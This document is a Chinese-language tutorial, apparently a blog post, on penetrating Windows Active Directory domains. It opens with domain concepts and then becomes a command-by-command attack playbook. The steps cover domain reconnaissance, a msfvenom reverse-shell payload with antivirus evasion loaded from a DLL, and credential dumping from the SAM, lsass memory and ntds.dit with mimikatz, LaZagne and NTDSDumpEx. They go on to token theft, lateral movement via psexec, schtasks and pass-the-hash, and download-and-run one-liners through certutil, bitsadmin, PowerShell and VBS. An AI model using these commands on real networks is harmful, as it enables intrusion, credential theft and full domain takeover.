1.初识域环境
什么是域
域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 域(Domain)是将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。
域控
在一台机器上安装上活动目录(Active Directory)以后,这个机器就被成为域控。 在一个域中,可能存在多个域控,这些域控不分主域控制器与备份域控制器,每个域控制器充当的是一样的角色,比如你有三个域控制器,你可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中,这样,如果一个域控制器发生了故障,只要其他的域控还能正常工作,整个域还是可以正常运行。
活动目录(Active Directory)
Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松查找和使用这些信息,这些对象可以是用户、组群,计算机,控制站、邮件,配置文件,组织单元,树洗等等。
域用户
在域环境下使用的用户,其用户名和密码需要到域控制器上进行验证,验证通过后域用户可以在域内的任何一台机器上进行登录。但是域用户只是一个普通用户,只能登录到域内机器上进行查看,不能做任何的修改。
域管
域管理员可以登录到域控制器上,对一切权限进行控制,比如对域内任何一台机器的权限进行修改,域管理员有权对域内所有机器下发任何任务或者策略,它对域具有绝对的控制权。
组(gurup)
公司内很多的员工的权限都是相同的,这是因为域管理员对域内的用户进行了分组,即将不同的用户放入不同的分组里,然后对组进行了权限设置,这样就避免了管理员需要对每个用户单独进行权限分配的麻烦。
信任域(trust)
在实际的情况下,在一个大公司下面又会有一些子公司,这样就造成了母公司一个域,子公司单独又有一个域的情况,那么怎么将母公司的域与子公司的域联系起来呢?我们可以在它们之间建立起一种信任(trust)的关系,如果母公司的域账户想要登录子公司的域中,那么子公司的域就要对母公司的域建立信任关系。当母公司的域账户想要登录到子公司的域中时,子公司的域由于信任母公司的域,所以子公司的域会听从母公司的域的域控制器的返回的access key。由于母公司的域对子公司的域没有建立信任关系,所以子公司的域账户是不能登录到母公司的域中的。
/domain_trusts 查看受信任的域列表,我们通常会利用域的信任关系进行域内横向渗透来扩大战果。
2.域信息收集
1.nltest信任域
nltest是2003之后的系统自带的工具,一般来说域控都搭建在主dns服务器上,因为他要进行域名解析。 我们可以nltest在工作组里进行查询,查询内网里是否存在域环境。
1.查找域控
ifconfig /all
2.查找信任域
nltest /domain_trusts /all_trusts /v /server:192.168.0.130
3.查找信任域所对应的IP
nltest /dsgetdc:XXXXXX /server:192.168.0.1304.nltest命令:
参考:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)
https://blog.csdn.net/weixin_34377065/article/details/85597188
2.域信息收集
1.csvde
csvde是windows server 2008的内置命令行工具,位于%windir%/system32目录下。
如果你安装了AD DS或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。
该工具适用于:
- windows server 2003
- windows server 2008
- windows server 2003 R2
- windows server 2008 R2
- windows server 2012
csvde -setspn payload -f C:\windows\temp\payload.csv
查看payload.csv
LDAP的存储规则(类似于一个数据库),用来存储域相关信息。
- 区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
- CN=Common Name 为用户名或服务器名,最长可以到80个字符,可以为中文;
- OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;
- O=Organization 为组织名,可以3—64个字符长
- C=Country为国家名,可选,为2个字符长
2.setspn
SPN 官方名称为“服务主体名称”,本质上存储的是域内各种服务资源的对应关系。 如,对应的服务类型叫什么,机器名是什么,服务端口号是多少等等。 我们借助SPN可以快速定位当前目标域中所有存活的各类主机。
setspn -T payload -Q */*
setspn -T payload -Q */* | findstr SQL
通过上面收集到的主机信息,我们就可以使用域管理员账户去登录各目标系统进行查看。
3.dnsdump
https://github.com/dirkjanm/adidnsdump
dnsdump -u 域名\域用户 -p 域密码 域控服务器名
dnsdump -u payload\Micr067 -p admin@123 WIN-DC.payload.com
https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1
Powershell -ep bypass -f dns-dump.ps1 -zone payload.com
4.net
net user /domain 获取域用户列表 net group "domain admins" /domain 获取域管理员列表 net group "domain controllers" /domain 查看域控制器(如果有多台) net group "domain computers" /domain 查看域机器 net group /domain 查询域里面的组
5.net view
Net view 查看同一域内机器列表 net view \\ip 查看某IP共享 Net view \\GHQ 查看GHQ计算机的共享资源列表 net view /domain 查看内网存在多少个域 Net view /domain:XYZ 查看XYZ域中的机器列表
6.nbtscan
nbtscan.exe 192.168.0.1/24 DC 是域控服务器
3.域渗透思路
横向渗透---权限维持---抓取密码(获取域用户账号密码)---域信息收集---获取域管权限---拿下域控
1.弱口令爆破
超级弱口令工具 https://github.com/shack2/SNETCracker
2.dll加载shellcode免杀上线
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=1521 LHOST=192.168.245.129 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp_uuid msf > set lhost 192.168.245.129 msf > set lport 1521 msf > set EnableStageEncoding true msf > set StageEncoder x86/fnstenv_mov msf > exploit
将c程序编译为dll文件,在目标机器上运行即可。
#include <Windows.h> extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow) { MessageBox(NULL,L"_Title_",L"Hello",MB_OK); unsigned char buf[] = "........替换生成的shellcode..........."; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return; }
- mingw下载:https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/
- MinGW安装和使用 https://www.cnblogs.com/qcssmd/p/5302052.html
3.注册表读取密码
// 获取注册表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv reg save HKLM\SAM c:\windows\temp\Sam.hiv
// mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
5.Dump lsass进程内存获取hash
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
// 在mimikatz中运行,结果保存在日志里
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
6.LaZagne读取密码。
项目地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all 执行所有模块,获取全部密码信息
7.利用token复制获取system权限
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
8.凭证窃取
通过tasklist /v查看进程用户,如果有域用户启的进程,则可以窃取域管凭证
- incognito下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
- 查看保存的凭证
incognito.exe list_tokens -u
- 窃取域管凭证
incognito.exe execute -c "payload\Administrator" cmd.exe
查看本地保存的凭证,可以看到有域管理员的凭证存在
成功窃取到域管理员的凭证,利用窃取的凭证我们可以查看域控上的保存的服务资源。4.命令行渗透
- 远程登陆桌面增加暴露风险
- 目标管理员可能禁用对服务器远程登陆。
1.IPC$
建立ipc连接之后就可以访问目标机器的文件,可以进行上传、下载等操作,也可以在目标机器上运行命令。上传下载使用copy命令。
- 先建立IPC连接
net use \\192.168.245.130 /u:payload\administrator
- 复制文件到目标
copy shell.msi \\192.168.245.130\C$
- 复制目标机器文件到本地
copy \\192.168.52.2\C$\shell.msi
2.sc计划任务
• sc /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system • sc /run /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码 • sc /F /delete /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
schtasks /create /tn task1 /U payload\administrator /P qwer1234! /tr "c:\windows\system32\cmd.exe /c net user > c:\\windows\\temp\\1.txt" /sc ONSTART /s 192.168.245.130 /RU system schtasks /Run /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234! schtasks /F /delete /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234! type \\192.168.245.130\C$\windows\temp\1.txt
3.psexe获取system权限
使用psexec之前先建立IPC连接 • net use \\192.168.245.130 /u:payload\administrator • PsExec.exe \\192.168.245.130 -s cmd.exe -accepteula • –accepteula 第一次运行会弹框,输入这个参数便不会弹框。 • -s 以 “nt authority\system” 权限运行远程进程 成功返回域控服务器system权限的命令行
4.hash传递
工具下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec.exe -hashes :用户Hash 域名/用户名@目标IP psexec.exe -hashes :6912928308e3cda903e6d75bd6091a20 payload/administrator@192.168.245.130
5.windows命令行下载文件
- powershell
powershell (new-object Net.WebClient).DownloadFile('http://192.168.245.132/a.ps1','D:\phpstudy\WWW\a.ps1')
适用于windows 7以上版本。
- certutil
certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll msg.dll certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll delete
certutil适用于server 2003以上版本 详情参考: https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN
- Bitadmin
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.245.132/b.ps1" "D:\\phpstudy\\WWW\\b.ps1"
Bitadmin适用于windows 7以上版本。 详情参考: https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN
- vbs
第一种,直接echo输入download.vbs。echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://192.168.245.132/a.ps1",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种,保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://192.168.245.132/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
- Windows下载执行命令大全:
https://xz.aliyun.com/t/1654#toc-6
6.获取内网代理
内网有些资源需要指定的代理才能访问,我们可以通过读取注册表信息查找代理IP和端口信息。
注册表查看IE代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
7.windows API利用
- 工具使用前提先需要建立IPC连接
- NetGroupGetUsers.exe:查询目标服务器本地管理组的成员
- NetLocalGroupGetMembers.exe:查询域里的各个组里的成员,IP必须是域控IP,域用户随意
- NetUserEnum.exe:查询目标服务器所有用户,包括隐藏用户
8.导域hash
- windows的密码以hash的形式存储在SAM文件中的。
- 域里面存储信息的数据库文件:c:\windows\ntds\ntds.dit
- ntds.dit其实就是个数据库,微软本身就有一系列的文档化api能够操作这个数据库,链接是: https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx。
使用创建快照的方式导出ntds.dit文件 - 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
- 卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 获取key
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
使用NTDSDumpEx获取所有域用户的Hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx